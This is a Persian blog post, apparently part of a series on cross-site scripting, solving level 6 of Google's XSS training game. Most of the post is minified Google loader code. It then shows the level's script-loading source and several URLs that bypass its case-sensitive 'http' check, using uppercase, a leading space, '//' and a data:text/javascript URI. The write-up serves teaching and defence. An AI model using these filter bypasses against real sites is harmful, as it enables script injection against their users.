F.prototype.H=function(a){var b=null;a&&(b=a.packages);var c=null;if(b)if("string"==typeof b)c=[a.packages];else if(b.length)for(c=[],a=0;a<b.length;a++)"string"==typeof b[a]&&c.push(b[a].replace(/^\s*|\s*$/,"").toLowerCase());c||(c=["default"]);b=[];for(a=0;a<c.length;a++)this.A[":"+c[a]]||b.push(c[a]);return b};
F.prototype.load=function(a,b){var c,d=this.H(b),e=b&&null!=b.callback;e&&(c=new H(b.callback));for(var f=[],h=d.length-1;0<=h;h--){var k=d[h];e&&c.R(k);this.l[":"+k]?(d.splice(h,1),e&&this.g[":"+k].push(c)):f.push(k)}if(d.length){b&&b.packages&&(b.packages=d.sort().join(","));for(h=0;h<f.length;h++)k=f[h],this.g[":"+k]=[],e&&this.g[":"+k].push(c);if(b||null==w[":"+this.b]||null==w[":"+this.b].versions[":"+a]||google.loader.AdditionalParams||!this.s)b&&b.autoloaded||google.loader.f("script",this.i(a,
b),e);else{a=w[":"+this.b];google[this.b]=google[this.b]||{};for(var A in a.properties)A&&":"==A.charAt(0)&&(google[this.b][A.substring(1)]=a.properties[A]);google.loader.f("script",google.loader.ServiceBase+a.path+a.js,e);a.css&&google.loader.f("css",google.loader.ServiceBase+a.path+a.css,e)}this.s&&(this.s=!1,this.c=(new Date).getTime(),1!=this.c%100&&(this.c=-1));for(h=0;h<f.length;h++)k=f[h],this.l[":"+k]=!0}};
F.prototype.o=function(a){-1!=this.c&&(I("al_"+this.b,"jl."+((new Date).getTime()-this.c),!0),this.c=-1);this.B=this.B.concat(a.components);google.loader[this.b]||(google.loader[this.b]={});google.loader[this.b].packages=this.B.slice(0);for(var b=0;b<a.components.length;b++){this.A[":"+a.components[b]]=!0;this.l[":"+a.components[b]]=!1;var c=this.g[":"+a.components[b]];if(c){for(var d=0;d<c.length;d++)c[d].U(a.components[b]);delete this.g[":"+a.components[b]]}}};
F.prototype.u=function(a,b){return 0==this.H(b).length};F.prototype.D=function(){return!0};function H(a){this.T=a;this.v={};this.C=0}H.prototype.R=function(a){this.C++;this.v[":"+a]=!0};H.prototype.U=function(a){this.v[":"+a]&&(this.v[":"+a]=!1,this.C--,0==this.C&&window.setTimeout(this.T,0))};function G(a,b,c){this.name=a;this.S=b;this.w=c;this.G=this.j=!1;this.m=[];google.loader.F[this.name]=n(this.o,this)}m(G,F);G.prototype.load=function(a,b){var c=b&&null!=b.callback;c?(this.m.push(b.callback),b.callback="google.loader.callbacks."+this.name):this.j=!0;b&&b.autoloaded||google.loader.f("script",this.i(a,b),c)};G.prototype.u=function(a,b){return b&&null!=b.callback?this.G:this.j};G.prototype.o=function(){this.G=!0;for(var a=0;a<this.m.length;a++)window.setTimeout(this.m[a],0);this.m=[]};
var J=function(a,b){return a.string?encodeURIComponent(a.string)+"="+encodeURIComponent(b):a.regex?b.replace(/(^.*$)/,a.regex):""};G.prototype.i=function(a,b){return this.X(this.I(a),a,b)};
G.prototype.X=function(a,b,c){var d="";a.key&&(d+="&"+J(a.key,google.loader.ApiKey));a.version&&(d+="&"+J(a.version,b));b=google.loader.Secure&&a.ssl?a.ssl:a.uri;if(null!=c)for(var e in c)a.params[e]?d+="&"+J(a.params[e],c[e]):"other_params"==e?d+="&"+c[e]:"base_domain"==e&&(b="http://"+c[e]+a.uri.substring(a.uri.indexOf("/",7)));google[this.name]={};-1==b.indexOf("?")&&d&&(d="?"+d.substring(1));return b+d};G.prototype.D=function(a){return this.I(a).deferred};
G.prototype.I=function(a){if(this.w)for(var b=0;b<this.w.length;++b){var c=this.w[b];if((new RegExp(c.pattern)).test(a))return c}return this.S};function E(a,b){this.b=a;this.h=b;this.j=!1}m(E,F);E.prototype.load=function(a,b){this.j=!0;google.loader.f("script",this.i(a,b),!1)};E.prototype.u=function(){return this.j};E.prototype.o=function(){};
E.prototype.i=function(a,b){if(!this.h.versions[":"+a]){if(this.h.aliases){var c=this.h.aliases[":"+a];c&&(a=c)}if(!this.h.versions[":"+a])throw p("Module: '"+this.b+"' with version '"+a+"' not found!");}return google.loader.GoogleApisBase+"/libs/"+this.b+"/"+a+"/"+this.h.versions[":"+a][b&&b.uncompressed?"uncompressed":"compressed"]};E.prototype.D=function(){return!1};var K=!1,L=[],M=(new Date).getTime(),O=function(){K||(y(window,"unload",N),K=!0)},Q=function(a,b){O();if(!(google.loader.Secure||google.loader.Options&&!1!==google.loader.Options.csi)){for(var c=0;c<a.length;c++)a[c]=encodeURIComponent(a[c].toLowerCase().replace(/[^a-z0-9_.]+/g,"_"));for(c=0;c<b.length;c++)b[c]=encodeURIComponent(b[c].toLowerCase().replace(/[^a-z0-9_.]+/g,"_"));window.setTimeout(n(P,null,"//gg.google.com/csi?s=uds&v=2&action="+a.join(",")+"&it="+b.join(",")),1E4)}},I=function(a,b,
c){c?Q([a],[b]):(O(),L.push("r"+L.length+"="+encodeURIComponent(a+(b?"|"+b:""))),window.setTimeout(N,5<L.length?0:15E3))},N=function(){if(L.length){var a=google.loader.ServiceBase;0==a.indexOf("http:")&&(a=a.replace(/^http:/,"https:"));P(a+"/stats?"+L.join("&")+"&nc="+(new Date).getTime()+"_"+((new Date).getTime()-M));L.length=0}},P=function(a){var b=new Image,c=P.Y++;P.J[c]=b;b.onload=b.onerror=function(){delete P.J[c]};b.src=a;b=null};P.J={};P.Y=0;q("google.loader.recordCsiStat",Q);
q("google.loader.recordStat",I);q("google.loader.createImageForLogging",P);
}) ();google.loader.rm({"specs":["visualization","payments",{"name":"annotations","baseSpec":{"uri":"http://www.google.com/reviews/scripts/annotations_bootstrap.js","ssl":null,"key":{"string":"key"},"version":{"string":"v"},"deferred":true,"params":{"country":{"string":"gl"},"callback":{"string":"callback"},"language":{"string":"hl"}}}},"language","gdata","wave","spreadsheets","search","orkut","feeds","annotations_v2","picker","identitytoolkit",{"name":"maps","baseSpec":{"uri":"http://maps.google.com/maps?file\u003dgoogleapi","ssl":"https://maps-api-ssl.google.com/maps?file\u003dgoogleapi","key":{"string":"key"},"version":{"string":"v"},"deferred":true,"params":{"callback":{"regex":"callback\u003d$1\u0026async\u003d2"},"language":{"string":"hl"}}},"customSpecs":[{"uri":"http://maps.googleapis.com/maps/api/js","ssl":"https://maps.googleapis.com/maps/api/js","version":{"string":"v"},"deferred":true,"params":{"callback":{"string":"callback"},"language":{"string":"hl"}},"pattern":"^(3|3..*)$"}]},{"name":"friendconnect","baseSpec":{"uri":"http://www.google.com/friendconnect/script/friendconnect.js","ssl":"https://www.google.com/friendconnect/script/friendconnect.js","key":{"string":"key"},"version":{"string":"v"},"deferred":false,"params":{}}},{"name":"sharing","baseSpec":{"uri":"http://www.google.com/s2/sharing/js","ssl":null,"key":{"string":"key"},"version":{"string":"v"},"deferred":false,"params":{"language":{"string":"hl"}}}},"ads",{"name":"books","baseSpec":{"uri":"http://books.google.com/books/api.js","ssl":"https://encrypted.google.com/books/api.js","key":{"string":"key"},"version":{"string":"v"},"deferred":true,"params":{"callback":{"string":"callback"},"language":{"string":"hl"}}}},"elements","earth","ima"]});
google.loader.rfm({":search":{"versions":{":1":"1",":1.0":"1"},"path":"/api/search/1.0/a33a40bc61f44fca1e08df500aeda773/","js":"default+en.I.js","css":"default+en.css","properties":{":Version":"1.0",":NoOldNames":false,":JSHash":"a33a40bc61f44fca1e08df500aeda773"}},":language":{"versions":{":1":"1",":1.0":"1"},"path":"/api/language/1.0/67029e8700e5ffc164b59fc17f23b5ef/","js":"default+en.I.js","properties":{":Version":"1.0",":JSHash":"67029e8700e5ffc164b59fc17f23b5ef"}},":annotations":{"versions":{":1":"1",":1.0":"1"},"path":"/api/annotations/1.0/3b0f18d6e7bf8cf053640179ef6d98d1/","js":"default+en.I.js","properties":{":Version":"1.0",":JSHash":"3b0f18d6e7bf8cf053640179ef6d98d1"}},":wave":{"versions":{":1":"1",":1.0":"1"},"path":"/api/wave/1.0/3b6f7573ff78da6602dda5e09c9025bf/","js":"default.I.js","properties":{":Version":"1.0",":JSHash":"3b6f7573ff78da6602dda5e09c9025bf"}},":picker":{"versions":{":1":"1",":1.0":"1"},"path":"/api/picker/1.0/1c635e91b9d0c082c660a42091913907/","js":"default.I.js","css":"default.css","properties":{":Version":"1.0",":JSHash":"1c635e91b9d0c082c660a42091913907"}},":ima":{"versions":{":3":"1",":3.0":"1"},"path":"/api/ima/3.0/28a914332232c9a8ac0ae8da68b1006e/","js":"default.I.js","properties":{":Version":"3.0",":JSHash":"28a914332232c9a8ac0ae8da68b1006e"}}});
google.loader.rpl({":chrome-frame":{"versions":{":1.0.0":{"uncompressed":"CFInstall.js","compressed":"CFInstall.min.js"},":1.0.1":{"uncompressed":"CFInstall.js","compressed":"CFInstall.min.js"},":1.0.2":{"uncompressed":"CFInstall.js","compressed":"CFInstall.min.js"}},"aliases":{":1":"1.0.2",":1.0":"1.0.2"}},":swfobject":{"versions":{":2.1":{"uncompressed":"swfobject_src.js","compressed":"swfobject.js"},":2.2":{"uncompressed":"swfobject_src.js","compressed":"swfobject.js"}},"aliases":{":2":"2.2"}},":ext-core":{"versions":{":3.1.0":{"uncompressed":"ext-core-debug.js","compressed":"ext-core.js"},":3.0.0":{"uncompressed":"ext-core-debug.js","compressed":"ext-core.js"}},"aliases":{":3":"3.1.0",":3.0":"3.0.0",":3.1":"3.1.0"}},":scriptaculous":{"versions":{":1.8.3":{"uncompressed":"scriptaculous.js","compressed":"scriptaculous.js"},":1.9.0":{"uncompressed":"scriptaculous.js","compressed":"scriptaculous.js"},":1.8.1":{"uncompressed":"scriptaculous.js","compressed":"scriptaculous.js"},":1.8.2":{"uncompressed":"scriptaculous.js","compressed":"scriptaculous.js"}},"aliases":{":1":"1.9.0",":1.8":"1.8.3",":1.9":"1.9.0"}},":webfont":{"versions":{":1.0.12":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.13":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.14":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.15":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.10":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.11":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.27":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.28":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.29":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.23":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.24":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.25":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.26":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.21":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.22":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.3":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.4":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.5":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.6":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.9":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.16":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.17":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.0":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.18":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.1":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.19":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"},":1.0.2":{"uncompressed":"webfont_debug.js","compressed":"webfont.js"}},"aliases":{":1":"1.0.29",":1.0":"1.0.29"}},":jqueryui":{"versions":{":1.8.17":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.8.16":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.8.15":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.8.14":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.8.4":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.8.13":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.8.5":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.8.12":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.8.6":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.8.11":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.8.7":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.8.10":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.8.8":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.8.9":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.6.0":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.7.0":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.5.2":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.8.0":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.7.1":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.5.3":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.8.1":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.7.2":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.8.2":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"},":1.7.3":{"uncompressed":"jquery-ui.js","compressed":"jquery-ui.min.js"}},"aliases":{":1":"1.8.17",":1.8.3":"1.8.4",":1.5":"1.5.3",":1.6":"1.6.0",":1.7":"1.7.3",":1.8":"1.8.17"}},":mootools":{"versions":{":1.3.0":{"uncompressed":"mootools.js","compressed":"mootools-yui-compressed.js"},":1.2.1":{"uncompressed":"mootools.js","compressed":"mootools-yui-compressed.js"},":1.1.2":{"uncompressed":"mootools.js","compressed":"mootools-yui-compressed.js"},":1.4.0":{"uncompressed":"mootools.js","compressed":"mootools-yui-compressed.js"},":1.3.1":{"uncompressed":"mootools.js","compressed":"mootools-yui-compressed.js"},":1.2.2":{"uncompressed":"mootools.js","compressed":"mootools-yui-compressed.js"},":1.4.1":{"uncompressed":"mootools.js","compressed":"mootools-yui-compressed.js"},":1.3.2":{"uncompressed":"mootools.js","compressed":"mootools-yui-compressed.js"},":1.2.3":{"uncompressed":"mootools.js","compressed":"mootools-yui-compressed.js"},":1.4.2":{"uncompressed":"mootools.js","compressed":"mootools-yui-compressed.js"},":1.2.4":{"uncompressed":"mootools.js","compressed":"mootools-yui-compressed.js"},":1.2.5":{"uncompressed":"mootools.js","compressed":"mootools-yui-compressed.js"},":1.1.1":{"uncompressed":"mootools.js","compressed":"mootools-yui-compressed.js"}},"aliases":{":1":"1.1.2",":1.1":"1.1.2",":1.2":"1.2.5",":1.3":"1.3.2",":1.4":"1.4.2",":1.11":"1.1.1"}},":yui":{"versions":{":2.8.0r4":{"uncompressed":"build/yuiloader/yuiloader.js","compressed":"build/yuiloader/yuiloader-min.js"},":2.9.0":{"uncompressed":"build/yuiloader/yuiloader.js","compressed":"build/yuiloader/yuiloader-min.js"},":2.8.1":{"uncompressed":"build/yuiloader/yuiloader.js","compressed":"build/yuiloader/yuiloader-min.js"},":2.6.0":{"uncompressed":"build/yuiloader/yuiloader.js","compressed":"build/yuiloader/yuiloader-min.js"},":2.7.0":{"uncompressed":"build/yuiloader/yuiloader.js","compressed":"build/yuiloader/yuiloader-min.js"},":3.3.0":{"uncompressed":"build/yui/yui.js","compressed":"build/yui/yui-min.js"},":2.8.2r1":{"uncompressed":"build/yuiloader/yuiloader.js","compressed":"build/yuiloader/yuiloader-min.js"}},"aliases":{":2":"2.9.0",":3":"3.3.0",":2.8.2":"2.8.2r1",":2.8.0":"2.8.0r4",":3.3":"3.3.0",":2.6":"2.6.0",":2.7":"2.7.0",":2.8":"2.8.2r1",":2.9":"2.9.0"}},":prototype":{"versions":{":1.6.1.0":{"uncompressed":"prototype.js","compressed":"prototype.js"},":1.6.0.2":{"uncompressed":"prototype.js","compressed":"prototype.js"},":1.7.0.0":{"uncompressed":"prototype.js","compressed":"prototype.js"},":1.6.0.3":{"uncompressed":"prototype.js","compressed":"prototype.js"}},"aliases":{":1":"1.7.0.0",":1.6.0":"1.6.0.3",":1.6.1":"1.6.1.0",":1.7.0":"1.7.0.0",":1.6":"1.6.1.0",":1.7":"1.7.0.0"}},":jquery":{"versions":{":1.3.0":{"uncompressed":"jquery.js","compressed":"jquery.min.js"},":1.4.0":{"uncompressed":"jquery.js","compressed":"jquery.min.js"},":1.3.1":{"uncompressed":"jquery.js","compressed":"jquery.min.js"},":1.5.0":{"uncompressed":"jquery.js","compressed":"jquery.min.js"},":1.4.1":{"uncompressed":"jquery.js","compressed":"jquery.min.js"},":1.3.2":{"uncompressed":"jquery.js","compressed":"jquery.min.js"},":1.2.3":{"uncompressed":"jquery.js","compressed":"jquery.min.js"},":1.6.0":{"uncompressed":"jquery.js","compressed":"jquery.min.js"},":1.5.1":{"uncompressed":"jquery.js","compressed":"jquery.min.js"},":1.4.2":{"uncompressed":"jquery.js","compressed":"jquery.min.js"},":1.7.0":{"uncompressed":"jquery.js","compressed":"jquery.min.js"},":1.6.1":{"uncompressed":"jquery.js","compressed":"jquery.min.js"},":1.5.2":{"uncompressed":"jquery.js","compressed":"jquery.min.js"},":1.4.3":{"uncompressed":"jquery.js","compressed":"jquery.min.js"},":1.7.1":{"uncompressed":"jquery.js","compressed":"jquery.min.js"},":1.6.2":{"uncompressed":"jquery.js","compressed":"jquery.min.js"},":1.4.4":{"uncompressed":"jquery.js","compressed":"jquery.min.js"},":1.2.6":{"uncompressed":"jquery.js","compressed":"jquery.min.js"},":1.6.3":{"uncompressed":"jquery.js","compressed":"jquery.min.js"},":1.6.4":{"uncompressed":"jquery.js","compressed":"jquery.min.js"}},"aliases":{":1":"1.7.1",":1.2":"1.2.6",":1.3":"1.3.2",":1.4":"1.4.4",":1.5":"1.5.2",":1.6":"1.6.4",":1.7":"1.7.1"}},":dojo":{"versions":{":1.3.0":{"uncompressed":"dojo/dojo.xd.js.uncompressed.js","compressed":"dojo/dojo.xd.js"},":1.4.0":{"uncompressed":"dojo/dojo.xd.js.uncompressed.js","compressed":"dojo/dojo.xd.js"},":1.3.1":{"uncompressed":"dojo/dojo.xd.js.uncompressed.js","compressed":"dojo/dojo.xd.js"},":1.5.0":{"uncompressed":"dojo/dojo.xd.js.uncompressed.js","compressed":"dojo/dojo.xd.js"},":1.4.1":{"uncompressed":"dojo/dojo.xd.js.uncompressed.js","compressed":"dojo/dojo.xd.js"},":1.3.2":{"uncompressed":"dojo/dojo.xd.js.uncompressed.js","compressed":"dojo/dojo.xd.js"},":1.2.3":{"uncompressed":"dojo/dojo.xd.js.uncompressed.js","compressed":"dojo/dojo.xd.js"},":1.6.0":{"uncompressed":"dojo/dojo.xd.js.uncompressed.js","compressed":"dojo/dojo.xd.js"},":1.5.1":{"uncompressed":"dojo/dojo.xd.js.uncompressed.js","compressed":"dojo/dojo.xd.js"},":1.7.0":{"uncompressed":"dojo/dojo.js.uncompressed.js","compressed":"dojo/dojo.js"},":1.6.1":{"uncompressed":"dojo/dojo.xd.js.uncompressed.js","compressed":"dojo/dojo.xd.js"},":1.4.3":{"uncompressed":"dojo/dojo.xd.js.uncompressed.js","compressed":"dojo/dojo.xd.js"},":1.7.1":{"uncompressed":"dojo/dojo.js.uncompressed.js","compressed":"dojo/dojo.js"},":1.7.2":{"uncompressed":"dojo/dojo.js.uncompressed.js","compressed":"dojo/dojo.js"},":1.2.0":{"uncompressed":"dojo/dojo.xd.js.uncompressed.js","compressed":"dojo/dojo.xd.js"},":1.1.1":{"uncompressed":"dojo/dojo.xd.js.uncompressed.js","compressed":"dojo/dojo.xd.js"}},"aliases":{":1":"1.6.1",":1.1":"1.1.1",":1.2":"1.2.3",":1.3":"1.3.2",":1.4":"1.4.3",":1.5":"1.5.1",":1.6":"1.6.1",":1.7":"1.7.2"}}});
}
foo();
view raw level-6.html hosted with ❤ by GitHub

میبینید که این پارامتر بدون هیچ ملاحضه‌ای بصورت یک تابع فرا‌خوانده شده است. خب بجای foo، عبارت alert را قرار بدهید. تمام! اسکریپت خارجی مورد نیاز ساخته شد. https://www.google.com/jsapi?callback=alert

مرحله‌ی دوم لود کردن این اسکریپت در صفحه است. آدرس را بصورت مستقیم در URL و بعد از # کپی کنید و بر روی Go کلیک کنید. بشکل زیر.

https://xss-game.appspot.com/level6/frame#https://www.google.com/jsapi?callback=alert

نتیجه چه شد؟ در صفحه ارور Sorry, cannot load a URL containing "http". نماش داده می‌شود. یعنی اپلیکیشن دارای مکانیزمی برای تشخیص آدرس فایل خارجی بعد از # می‌باشد که آنرا چک می‌کند و اجازه فرا‌خواندن فایل‌هایی با پروتکل http/https را نمی‌دهد. سورس صفحه را بررسی میکنیم.

<script>
function setInnerText(element, value) {
if (element.innerText) {
element.innerText = value;
} else {
element.textContent = value;
}
}
function includeGadget(url) {
var scriptEl = document.createElement('script');
// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}
// Load this awesome gadget
scriptEl.src = url;
// Show log messages
scriptEl.onload = function() {
setInnerText(document.getElementById("log"),
"Loaded gadget from " + url);
}
scriptEl.onerror = function() {
setInnerText(document.getElementById("log"),
"Couldn't load gadget from " + url);
}
document.head.appendChild(scriptEl);
}
// Take the value after # and use it as the gadget filename.
function getGadgetName() {
return window.location.hash.substr(1) || "/static/gadget.js";
}
includeGadget(getGadgetName());
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
includeGadget(getGadgetName());
}
}, false);
</script>
view raw level-6.html hosted with ❤ by GitHub

خطوط ۲۱ تا ۲۵، بخشی می‌باشد که URL فایل خارجی را چک می‌کند تا ببینید با http و یا https شروع نشده باشد. اگر بود اجازه ادامه‌ی برنامه را نمی‌دهد و ارور را نمایش می‌دهد. خب حالا باید راهی برای گول زدن آن پیدا کنیم. نکته در عبارت با‌ قاعده‌ای که استفاده شده است می‌باشد. اگر با آن آشنایی ندارید، توصیه می‌کنم حتما آنرا یاد بگیرید. هر برنامه‌نویسی بدون دانستن Regular Expressions چیزی کم دارد. بطور کلی این عبارت با قاعده چک می‌کند که آیا آدرس فایل با http و یا https شروع می‌شود یا نه.

حالا به نکته ۳ و جالبترین نکته‌ی این بازی بر می‌گردیم. نکته‌ی آن در screaming... است. فریاد زدن… معادل دیگر آن Shout است. در وب، برای فریاد زدن چیزی، آنرا با حروف بزرگ (Capital Letters) می‌نویسیم. نکته را فهمیدید؟ این عبارت با قاعده به بزرگی و کوچکی حروف حساس است. یعنی فقط http و https را چک می‌کند. اما HTTP یا HTTPS یا hTTp و هر ترکیبی دیگری از این دو کلمه را که در آن حداقل یک حرف بزرگ باشد را نمی‌تواند تشخیص بدهد. در نتیجه کافیست عبارت زیر را در URL صفحه بگذارید و Go را بزنید.

https://xss-game.appspot.com/level6/frame#HTTPS://www.google.com/jsapi?callback=alert

تمام! اسکریپت مورد نظر اجرا و alert نمایش داده شد. برای حل این مرحله راه‌های دیگری نیز وجود دارد. بطور مثال قبل از http/https یک خط فاصله بگذارید.

https://xss-game.appspot.com/level6/frame# https://www.google.com/jsapi?callback=alert

یا http/https را با // جایگذاری کنید.

https://xss-game.appspot.com/level6/frame#//www.google.com/jsapi?callback=alert

یا اینکه به عبارت اشاره شده در بالا، یعنی پروتکل توجه کنید و مرحله‌ی پنجم را بیاد بیاورید. شکستن پروتکل؟ چگونه می‌توانید آدرس یک فایل را بگونه‌ای تغییر بدهید تا با تغییر پروتکل، یک عبارت جاوااسکریپت اجرا شود؟ ساده‌است. کافیست بعد از # عبارت زیر را قرار بدهید.

data:text/javascript,alert('allii.ir');

که نتیجه‌ی آن URL زیر می‌شود.

https://xss-game.appspot.com/level6/frame#data:text/javascript,alert('allii.ir');

در اینجا ما پروتکل را تغییر داده و بجای یک URL با قرار دادن data:text/javascript گفتیم که نتیجه ارسالی یک داده از نوع متن و جاوا‌اسکریپت است. و خب مرورگر به راحتی آنرا اجرا می‌کند.

جواب مرحله

نوشتن هرکدام از عبارات زیر در URL صفحه باعث رد شدن این مرحله می‌شود.

https://xss-game.appspot.com/level6/frame#HTTPS://www.google.com/jsapi?callback=alert
view raw level-6.html hosted with ❤ by GitHub

https://xss-game.appspot.com/level6/frame# https://www.google.com/jsapi?callback=alert
view raw level-6.html hosted with ❤ by GitHub

https://xss-game.appspot.com/level6/frame#//www.google.com/jsapi?callback=alert
view raw level-6.html hosted with ❤ by GitHub

https://xss-game.appspot.com/level6/frame#data:text/javascript,alert('allii.ir');
view raw level-6.html hosted with ❤ by GitHub

 

نکته‌ی پایانی

در چهار پست اخیر وبلاگ، با حملات تزریق اسکریپت آشنا شدیم، روش‌های جلوگیری از آن‌را یاد گرفتیم و در نهایت، با یک بازی آموخته‌هایمان را محک زدیم. دانستن حملات تزریق اسکریپت، و روش‌های جلوگیری از آن وظیفه هر توسعه‌دهنده‌ای می‌باشد که اپلیکیشنی می‌سازد که بر روی بستر وب اجرا می‌شود. در نهایت پیشنهاد می‌شود داکیومنت توصیه شده توسط گوگل را برای توضیحات کاملتر مطالعه کنید.